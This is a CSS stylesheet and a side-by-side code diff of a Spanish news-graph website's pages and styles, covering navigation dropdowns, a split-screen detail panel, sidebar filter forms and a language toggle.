/* ── NEWS GRID ── */
.news-grid {
padding: 20px;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 14px;
align-content: start;
overflow-y: auto;
}
.loading { grid-column: 1/-1; padding: 60px; text-align: center; color: var(--muted); font-size: 13px; letter-spacing: 2px; }
.loading.error { color: var(--warn); }
/* ── CARD ── */
.card {
background: var(--surface);
border: 1px solid var(--border);
cursor: pointer;
transition: border-color 0.2s, transform 0.2s, box-shadow 0.2s;
display: flex;
flex-direction: column;
overflow: hidden;
}
.card:hover {
border-color: var(--accent);
transform: translateY(-3px);
box-shadow: 0 8px 24px rgba(0,255,106,0.1);
}
.card-img { height: 160px; overflow: hidden; background: var(--surface2); position: relative; }
.card-img img { width: 100%; height: 100%; object-fit: cover; display: block; }
.card-body { padding: 12px 14px; display: flex; flex-direction: column; gap: 8px; flex: 1; }
.card-meta { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; }
.tag-tema {
font-family: var(--font-head);
font-size: 10px;
font-weight: 700;
letter-spacing: 2px;
padding: 3px 8px;
background: var(--accent);
color: #000;
text-transform: uppercase;
}
.card-fuente { font-size: 10px; color: var(--accent2); letter-spacing: 1px; font-family: var(--font-head); }
.card-fecha { font-size: 10px; color: var(--muted); margin-left: auto; }
.card-title {
font-family: var(--font-head);
font-size: 16px;
font-weight: 700;
color: var(--text);
line-height: 1.3;
letter-spacing: 0.5px;
}
.card-resumen { font-size: 11px; color: var(--muted); line-height: 1.6; }
.card-footer { display: flex; justify-content: space-between; align-items: flex-end; gap: 8px; margin-top: auto; padding-top: 8px; border-top: 1px solid var(--border); }
.card-ents { display: flex; flex-wrap: wrap; gap: 4px; }
.card-badges { display: flex; gap: 4px; flex-shrink: 0; }
.ent-tag {
font-family: var(--font-head);
font-size: 10px;
font-weight: 600;
padding: 2px 7px;
letter-spacing: 1px;
text-transform: uppercase;
}
.ent-persona { background: rgba(0,196,255,0.12); color: var(--accent2); border: 1px solid rgba(0,196,255,0.25); }
.ent-organizacion { background: rgba(255,106,0,0.12); color: var(--warn); border: 1px solid rgba(255,106,0,0.25); }
.ent-lugar { background: rgba(160,90,255,0.12); color: #b07aff; border: 1px solid rgba(160,90,255,0.25); }
.badge { font-family: var(--font-head); font-size: 10px; font-weight: 600; padding: 2px 7px; letter-spacing: 1px; text-transform: uppercase; }
.badge-pais { background: var(--surface2); color: var(--muted); border: 1px solid var(--border); }
.badge-lang { background: rgba(0,255,106,0.1); color: var(--accent); border: 1px solid rgba(0,255,106,0.2); }
/* ── ENTIDADES TAB ── */
.entities-layout { display: grid; grid-template-columns: 360px 1fr; flex: 1; min-height: 0; overflow: hidden; }
.entity-panel { background: var(--surface); border-right: 1px solid var(--border); display: flex; flex-direction: column; overflow: hidden; }
.entity-panel-header { padding: 16px; border-bottom: 1px solid var(--border); display: flex; flex-direction: column; gap: 10px; }
.tipo-tabs { display: flex; gap: 4px; }
.tipo-btn {
flex: 1;
padding: 8px;
font-size: 12px;
font-family: var(--font-head);
font-weight: 700;
letter-spacing: 2px;
background: transparent;
color: var(--muted);
border: 1px solid var(--border);
text-transform: uppercase;
}
.tipo-btn.active { color: #000; background: var(--accent); border-color: var(--accent); }
.entities-list { flex: 1; overflow-y: auto; padding: 12px; display: flex; flex-direction: column; gap: 6px; }
.ent-row {
display: flex;
align-items: center;
gap: 12px;
padding: 10px 12px;
cursor: pointer;
border: 1px solid transparent;
transition: all 0.15s;
}
.ent-row:hover { border-color: var(--border); background: var(--surface2); }
.ent-row.selected { border-color: var(--accent); background: rgba(0,255,106,0.05); }
.ent-avatar {
width: 44px;
height: 44px;
border-radius: 50%;
overflow: hidden;
flex-shrink: 0;
background: var(--surface2);
border: 2px solid var(--border);
display: flex;
align-items: center;
justify-content: center;
font-family: var(--font-head);
font-size: 16px;
font-weight: 700;
color: var(--muted);
}
.ent-avatar img { width: 100%; height: 100%; object-fit: cover; }
.ent-row.selected .ent-avatar { border-color: var(--accent); }
.ent-info { flex: 1; min-width: 0; display: flex; flex-direction: column; gap: 4px; }
.ent-name {
font-family: var(--font-head);
font-size: 15px;
font-weight: 700;
letter-spacing: 1px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
text-transform: uppercase;
}
.ent-bar-row { display: flex; align-items: center; gap: 8px; }
.ent-bar-track { flex: 1; height: 4px; background: var(--border); overflow: hidden; }
.ent-bar-fill { height: 100%; background: var(--accent); transition: width 0.4s; }
.ent-count-label { font-size: 11px; color: var(--muted); font-family: var(--font-head); letter-spacing: 1px; flex-shrink: 0; }
.entity-news { display: flex; flex-direction: column; overflow: hidden; }
.entity-news-title {
padding: 16px 20px;
font-family: var(--font-head);
font-size: 22px;
font-weight: 700;
letter-spacing: 3px;
color: var(--accent);
border-bottom: 1px solid var(--border);
background: var(--surface);
text-transform: uppercase;
}
.entity-news-title small { font-size: 12px; color: var(--muted); margin-left: 8px; letter-spacing: 1px; }
.entity-news .news-grid { flex: 1; overflow-y: auto; }
/* ── FEEDS TAB ── */
.feeds-container { padding: 20px; overflow-y: auto; }
.feeds-list { display: flex; flex-direction: column; gap: 8px; }
.feed-row {
background: var(--surface);
border: 1px solid var(--border);
border-left: 3px solid var(--border);
padding: 14px 18px;
display: flex;
justify-content: space-between;
align-items: center;
gap: 16px;
flex-wrap: wrap;
transition: border-color 0.15s;
}
.feed-row:hover { border-left-color: var(--accent); }
.feed-off { opacity: 0.4; border-left-color: var(--muted) !important; }
.feed-info { display: flex; align-items: center; gap: 12px; flex: 1; }
.feed-nombre { font-family: var(--font-head); font-size: 16px; font-weight: 700; letter-spacing: 1px; text-transform: uppercase; }
.feed-sub { font-size: 11px; color: var(--muted); }
.feed-meta { display: flex; align-items: center; gap: 12px; flex-shrink: 0; }
.feed-lang { font-size: 11px; color: var(--muted); font-family: var(--font-head); letter-spacing: 1px; }
.feed-ok.ok { font-family: var(--font-head); font-size: 11px; color: var(--accent); letter-spacing: 1px; }
.feed-ok.off { font-family: var(--font-head); font-size: 11px; color: var(--muted); letter-spacing: 1px; }
.feed-fallos { font-size: 11px; color: var(--warn); font-family: var(--font-head); }
.feed-date { font-size: 11px; color: var(--muted); }
@media (max-width: 900px) {
.layout, .entities-layout { grid-template-columns: 1fr; }
.sidebar { border-right: none; border-bottom: 1px solid var(--border); max-height: 50vh; }
.stats-bar { flex-wrap: wrap; }
.stat-item { flex: 1; min-width: 80px; }
}

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -191,29 +195,6 @@ nav {
background: #ff6600; background: #ff6600;
} }
#sidebar select {
padding: 10px;
border: 2px solid #39ff14;
background: black;
color: #39ff14;
border-radius: 5px;
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
transition: box-shadow 0.3s ease;
appearance: none;
cursor: pointer;
font-family: 'Fira Code', monospace;
font-size: 0.85em;
}
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
#sidebar select option { background: #0a0a0a; color: #39ff14; }
#sidebar .sim-val {
font-weight: bold;
color: #fff;
background: rgba(57,255,20,0.15);
border-radius: 3px;
padding: 0 4px;
}
footer { footer {
width: 100%; width: 100%;
background-color: #000000; background-color: #000000;
@ -253,54 +234,3 @@ footer p {
left: 250px; left: 250px;
} }
/* ===== Panel de detalle (split-screen) ===== */
main.split-screen { display: flex; height: 100vh; }
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
#detailPanel {
width: 0; max-width: 0; overflow: hidden;
transition: width 0.3s ease, max-width 0.3s ease;
background: #0a0a0a; color: #fff;
position: relative; z-index: 4;
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
}
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
#closeDetail {
position: absolute; top: 12px; left: 12px;
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
transition: background 0.2s;
}
#closeDetail:hover { background: rgba(57,255,20,0.15); }
#detailContent {
padding: 52px 18px 20px; overflow-y: auto;
height: 100%; box-sizing: border-box;
display: none; flex-direction: column;
}
main.split-screen.show-detail #detailContent { display: flex; }
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
.detail-author { font-weight: bold; }
.detail-date { text-align: right; white-space: nowrap; }
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
.relations-nav { display: flex; align-items: center; gap: 6px; }
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
@media (max-width: 768px) {
main.split-screen.show-detail #graphPanel { display: none; }
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
}

View file

@ -4,7 +4,6 @@
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>Economía y Corporaciones</title> <title>Economía y Corporaciones</title>
<link rel="stylesheet" href="eco-corp.css"> <link rel="stylesheet" href="eco-corp.css">
<link rel="stylesheet" href="sub-nav.css">
<!-- Fuentes de Google Fonts --> <!-- Fuentes de Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
@ -12,77 +11,18 @@
<!-- Cargar D3.js --> <!-- Cargar D3.js -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<script type="importmap"> <!-- Cargar 3d-force-graph (incluye Three.js) -->
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } } <script src="https://unpkg.com/3d-force-graph"></script>
</script>
</head> </head>
<body> <body>
<nav class="top-nav"> <nav>
<div class="section-buttons"> <ul class="nav-links">
<li><a href="eco-corp.html" class="eco-corp">Economía y Corporaciones</a></li>
<div class="section-item"> </ul>
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
</div>
<div class="section-item">
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
</div>
<div class="section-item">
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
</div>
<div class="section-item current">
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP <span class="dropdown-arrow"></span></a>
<div class="section-dropdown">
<a href="#" onclick="setSubtema('economía global');return false;">Economía Global</a>
<a href="#" onclick="setSubtema('corporaciones multinacionales');return false;">Corporaciones Multinacionales</a>
<a href="#" onclick="setSubtema('comercio internacional');return false;">Comercio Internacional</a>
<a href="#" onclick="setSubtema('organismos financieros');return false;">Organismos Financieros</a>
<a href="#" onclick="setSubtema('desigualdad económica');return false;">Desigualdad Económica</a>
</div>
</div>
<div class="section-item">
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
</div>
</div>
</nav> </nav>
<script> <main>
function setSubtema(val) {
var sel = document.getElementById('param2');
if (sel) { sel.value = val; }
var form = document.getElementById('paramForm');
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
document.addEventListener('DOMContentLoaded', function() {
/* ── Dropdown touch (móvil) ── */
var curr = document.querySelector('.section-item.current');
if (curr) {
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
e.preventDefault();
curr.classList.toggle('open');
});
document.addEventListener('touchend', function(e) {
if (!curr.contains(e.target)) curr.classList.remove('open');
});
}
/* ── Sidebar: botón toggle visible en móvil ── */
var toggle = document.getElementById('sidebarToggle');
var sidebar = document.getElementById('sidebar');
if (toggle && sidebar) {
toggle.style.display = 'block';
toggle.addEventListener('click', function() {
sidebar.classList.toggle('active');
});
}
});
</script>
<main class="split-screen">
<div id="graphPanel" style="position:relative;">
<button id="volverGrafoBtn">← Volver al grafo completo</button>
<div id="ecoCorpContainer" style="position: absolute; width: 100%; height: 100%;"></div> <div id="ecoCorpContainer" style="position: absolute; width: 100%; height: 100%;"></div>
<div class="background"> <div class="background">
<img src="/images/flujos.jpg"> <img src="/images/flujos.jpg">
@ -98,26 +38,6 @@
}, 1000); }, 1000);
</script> </script>
</div> </div>
</div>
<div id="detailPanel">
<button id="closeDetail">✕ cerrar</button>
<div id="detailContent">
<div class="detail-meta">
<span class="detail-author"></span>
<span class="detail-date"></span>
</div>
<h2 class="detail-title"></h2>
<div class="detail-relations">
<span class="relations-count"></span>
<div class="relations-nav">
<button id="prevRelation" disabled>&#8592; ant</button>
<span id="relationLabel"></span>
<button id="nextRelation" disabled>sig &#8594;</button>
</div>
</div>
<div class="detail-body"></div>
</div>
</div>
</main> </main>
<div id="sidebar"> <div id="sidebar">
@ -130,24 +50,16 @@
<input type="date" id="fecha_fin" name="fecha_fin"> <input type="date" id="fecha_fin" name="fecha_fin">
<label for="nodos">Nodos:</label> <label for="nodos">Nodos:</label>
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500"> <input type="number" id="nodos" name="nodos" value="100">
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label> <label for="complejidad">Complejidad:</label>
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8" <input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
oninput="document.getElementById('complejidadVal').textContent = this.value">
<label for="param1">Palabra clave:</label> <label for="param1">Búsqueda por palabra:</label>
<input type="text" id="param1" name="param1" placeholder="ej: FMI, Amazon..."> <input type="text" id="param1" name="param1">
<label for="param2">Subtematica:</label> <label for="param2">Búsqueda por temática personalizada:</label>
<select id="param2" name="param2"> <input type="text" id="param2" name="param2">
<option value="">— Todas —</option>
<option value="comercio internacional">comercio internacional</option>
<option value="economía global">economía global</option>
<option value="desigualdad económica">desigualdad económica</option>
<option value="corporaciones multinacionales">corporaciones multinacionales</option>
<option value="organismos financieros">organismos financieros</option>
</select>
<input type="submit" value="Aplicar"> <input type="submit" value="Aplicar">
</form> </form>
@ -155,8 +67,11 @@
<button id="sidebarToggle">Toggle Sidebar</button> <button id="sidebarToggle">Toggle Sidebar</button>
<footer>
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
</footer>
<!-- Incluir tu script al final del body --> <!-- Incluir tu script al final del body -->
<script src="semana-toggle.js"></script> <script src="output_eco_corp_pruebas.js"></script>
<script type="module" src="output_eco_corp_pruebas.js"></script>
</body> </body>
</html> </html>

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -251,35 +255,6 @@ nav {
background: #ff6600; background: #ff6600;
} }
#sidebar select {
padding: 10px;
border: 2px solid #39ff14;
background: black;
color: #39ff14;
border-radius: 5px;
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
transition: box-shadow 0.3s ease;
appearance: none;
cursor: pointer;
font-family: 'Fira Code', monospace;
font-size: 0.85em;
}
#sidebar select:hover {
box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3);
}
#sidebar select option {
background: #0a0a0a;
color: #39ff14;
}
#sidebar .sim-val {
font-weight: bold;
color: #fff;
background: rgba(57,255,20,0.15);
border-radius: 3px;
padding: 0 4px;
}
footer { footer {
width: 100%; width: 100%;
@ -354,53 +329,3 @@ footer p {
position: absolute; position: absolute;
z-index: 1; z-index: 1;
} }
/* ===== Panel de detalle (split-screen) ===== */
main.split-screen { display: flex; height: 100vh; }
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
#detailPanel {
width: 0; max-width: 0; overflow: hidden;
transition: width 0.3s ease, max-width 0.3s ease;
background: #0a0a0a; color: #fff;
position: relative; z-index: 4;
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
}
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
#closeDetail {
position: absolute; top: 12px; left: 12px;
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
transition: background 0.2s;
}
#closeDetail:hover { background: rgba(57,255,20,0.15); }
#detailContent {
padding: 52px 18px 20px; overflow-y: auto;
height: 100%; box-sizing: border-box;
display: none; flex-direction: column;
}
main.split-screen.show-detail #detailContent { display: flex; }
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
.detail-author { font-weight: bold; }
.detail-date { text-align: right; white-space: nowrap; }
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
.relations-nav { display: flex; align-items: center; gap: 6px; }
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
@media (max-width: 768px) {
main.split-screen.show-detail #graphPanel { display: none; }
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
}

View file

@ -1,86 +1,28 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>Glob-War</title> <title>Glob-War</title>
<link rel="stylesheet" href="glob-war.css"> <link rel="stylesheet" href="glob-war.css">
<link rel="stylesheet" href="sub-nav.css">
<!-- Fuentes de Google Fonts --> <!-- Fuentes de Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
<script type="importmap"> <!-- Cargar D3.js -->
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<!-- Cargar 3d-force-graph (incluye Three.js) -->
<script src="https://unpkg.com/3d-force-graph"></script>
</head> </head>
<body> <body>
<nav class="top-nav"> <nav>
<div class="section-buttons"> <ul class="nav-links">
<li><a href="glob-war.html" class="glob-war">GLOB-WAR</a></li>
<div class="section-item current"> </ul>
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR <span class="dropdown-arrow"></span></a>
<div class="section-dropdown">
<a href="#" onclick="setSubtema('conflictos internacionales');return false;">Conflictos Internacionales</a>
<a href="#" onclick="setSubtema('guerras civiles');return false;">Guerras Civiles</a>
<a href="#" onclick="setSubtema('terrorismo');return false;">Terrorismo</a>
<a href="#" onclick="setSubtema('armas');return false;">Armas</a>
<a href="#" onclick="setSubtema('alianzas militares');return false;">Alianzas Militares</a>
</div>
</div>
<div class="section-item">
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
</div>
<div class="section-item">
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
</div>
<div class="section-item">
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
</div>
<div class="section-item">
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
</div>
</div>
</nav> </nav>
<script> <main>
function setSubtema(val) {
var sel = document.getElementById('param2');
if (sel) { sel.value = val; }
var form = document.getElementById('paramForm');
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
document.addEventListener('DOMContentLoaded', function() {
/* ── Dropdown touch (móvil) ── */
var curr = document.querySelector('.section-item.current');
if (curr) {
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
e.preventDefault();
curr.classList.toggle('open');
});
document.addEventListener('touchend', function(e) {
if (!curr.contains(e.target)) curr.classList.remove('open');
});
}
/* ── Sidebar: botón toggle visible en móvil ── */
var toggle = document.getElementById('sidebarToggle');
var sidebar = document.getElementById('sidebar');
if (toggle && sidebar) {
toggle.style.display = 'block';
toggle.addEventListener('click', function() {
sidebar.classList.toggle('active');
});
}
});
</script>
<main class="split-screen">
<div id="graphPanel" style="position:relative;">
<button id="volverGrafoBtn">← Volver al grafo completo</button>
<div id="globWarContainer" style="position: absolute; width: 100%; height: 100%;"></div> <div id="globWarContainer" style="position: absolute; width: 100%; height: 100%;"></div>
<div class="background"> <div class="background">
<img src="/images/flujos.jpg"> <img src="/images/flujos.jpg">
@ -96,26 +38,6 @@
}, 1000); }, 1000);
</script> </script>
</div> </div>
</div>
<div id="detailPanel">
<button id="closeDetail">✕ cerrar</button>
<div id="detailContent">
<div class="detail-meta">
<span class="detail-author"></span>
<span class="detail-date"></span>
</div>
<h2 class="detail-title"></h2>
<div class="detail-relations">
<span class="relations-count"></span>
<div class="relations-nav">
<button id="prevRelation" disabled>&#8592; ant</button>
<span id="relationLabel"></span>
<button id="nextRelation" disabled>sig &#8594;</button>
</div>
</div>
<div class="detail-body"></div>
</div>
</div>
</main> </main>
<div id="sidebar"> <div id="sidebar">
@ -128,24 +50,22 @@
<input type="date" id="fecha_fin" name="fecha_fin"> <input type="date" id="fecha_fin" name="fecha_fin">
<label for="nodos">Nodos:</label> <label for="nodos">Nodos:</label>
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500"> <input type="number" id="nodos" name="nodos" value="100">
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label> <label for="complejidad">Complejidad:</label>
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8" <input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
oninput="document.getElementById('complejidadVal').textContent = this.value">
<label for="param1">Palabra clave:</label> <label for="param1">Búsqueda por palabra:</label>
<input type="text" id="param1" name="param1" placeholder="ej: misiles, OTAN..."> <input type="text" id="param1" name="param1">
<label for="param2">Subtematica:</label> <label for="color1">Color 1:</label>
<select id="param2" name="param2"> <input type="color" id="color1" name="color1">
<option value="">— Todas —</option>
<option value="armas">armas</option> <label for="param2">Búsqueda por temática personalizada:</label>
<option value="terrorismo">terrorismo</option> <input type="text" id="param2" name="param2">
<option value="guerras civiles">guerras civiles</option>
<option value="conflictos internacionales">conflictos internacionales</option> <label for="color2">Color 2:</label>
<option value="alianzas militares">alianzas militares</option> <input type="color" id="color2" name="color2">
</select>
<input type="submit" value="Aplicar"> <input type="submit" value="Aplicar">
</form> </form>
@ -153,8 +73,11 @@
<button id="sidebarToggle">Toggle Sidebar</button> <button id="sidebarToggle">Toggle Sidebar</button>
<footer>
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
</footer>
<!-- Incluir tu script al final del body --> <!-- Incluir tu script al final del body -->
<script src="semana-toggle.js"></script> <script src="output_glob_war_pruebas.js"></script>
<script type="module" src="output_glob_war_pruebas.js"></script>
</body> </body>
</html> </html>

View file

@ -1,5 +1,5 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
@ -8,33 +8,14 @@
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet">
<style>
/* selector de idioma */
.lang-toggle {
display: inline-flex; gap: 2px; margin-left: 10px; vertical-align: middle;
border: 1px solid #39ff14; font-family: 'Fira Code', monospace; font-size: 12px;
}
.lang-toggle button {
background: #000; color: #39ff14; border: none; padding: 4px 9px; cursor: pointer;
font-family: inherit; font-size: inherit; letter-spacing: .05em; transition: background .15s, color .15s;
}
.lang-toggle button[aria-pressed="true"] { background: #39ff14; color: #000; font-weight: 700; }
.lang-toggle button:hover:not([aria-pressed="true"]) { color: #7dff5e; }
</style>
</head> </head>
<body> <body>
<header> <header>
<div class="header-content"> <div class="header-content">
<h1 class="title">UP-LEAKS</h1> <h1 class="title">UP-LEAKS</h1>
<div class="header-buttons header-buttons--left"> <div class="header-buttons">
<a href="/coconews/" class="small-button coconews-btn">COCONEWS</a> <a href="journalist.html" class="small-button">Journalist</a>
<a href="journalist.html" class="small-button" data-i18n="nav_journalist">Periodistas</a>
<a href="stats.html" class="small-button stats-btn">STATS</a>
<span class="lang-toggle" role="group" aria-label="Idioma / Language">
<button type="button" data-lang="es" aria-pressed="true">ES</button>
<button type="button" data-lang="en" aria-pressed="false">EN</button>
</span>
</div> </div>
</div> </div>
</header> </header>
@ -72,89 +53,48 @@
<!-- Botones sobre las imágenes --> <!-- Botones sobre las imágenes -->
<div class="button-overlay"> <div class="button-overlay">
<div class="button-column"> <div class="button-column">
<a href="glob-war.html?subtematica=conflictos_internacionales" class="overlay-button" data-i18n="gw_1">Conflictos Internacionales</a> <a href="glob-war.html?subtematica=conflictos_internacionales" class="overlay-button">Conflictos Internacionales</a>
<a href="glob-war.html?subtematica=guerras_civiles" class="overlay-button" data-i18n="gw_2">Guerras Civiles</a> <a href="glob-war.html?subtematica=guerras_civiles" class="overlay-button">Guerras Civiles</a>
<a href="glob-war.html?subtematica=terrorismo" class="overlay-button" data-i18n="gw_3">Terrorismo</a> <a href="glob-war.html?subtematica=terrorismo" class="overlay-button">Terrorismo</a>
<a href="glob-war.html?subtematica=armas" class="overlay-button" data-i18n="gw_4">Armas</a> <a href="glob-war.html?subtematica=armas" class="overlay-button">Armas</a>
<a href="glob-war.html?subtematica=alianzas_militares" class="overlay-button" data-i18n="gw_5">Alianzas Militares</a> <a href="glob-war.html?subtematica=alianzas_militares" class="overlay-button">Alianzas Militares</a>
</div> </div>
<div class="button-column"> <div class="button-column">
<a href="int-sec.html?subtematica=inteligencia" class="overlay-button" data-i18n="is_1">Inteligencia</a> <a href="int-sec.html?subtematica=inteligencia" class="overlay-button">Inteligencia</a>
<a href="int-sec.html?subtematica=ciberseguridad" class="overlay-button" data-i18n="is_2">Ciberseguridad</a> <a href="int-sec.html?subtematica=ciberseguridad" class="overlay-button">Ciberseguridad</a>
<a href="int-sec.html?subtematica=espionaje" class="overlay-button" data-i18n="is_3">Espionaje</a> <a href="int-sec.html?subtematica=espionaje" class="overlay-button">Espionaje</a>
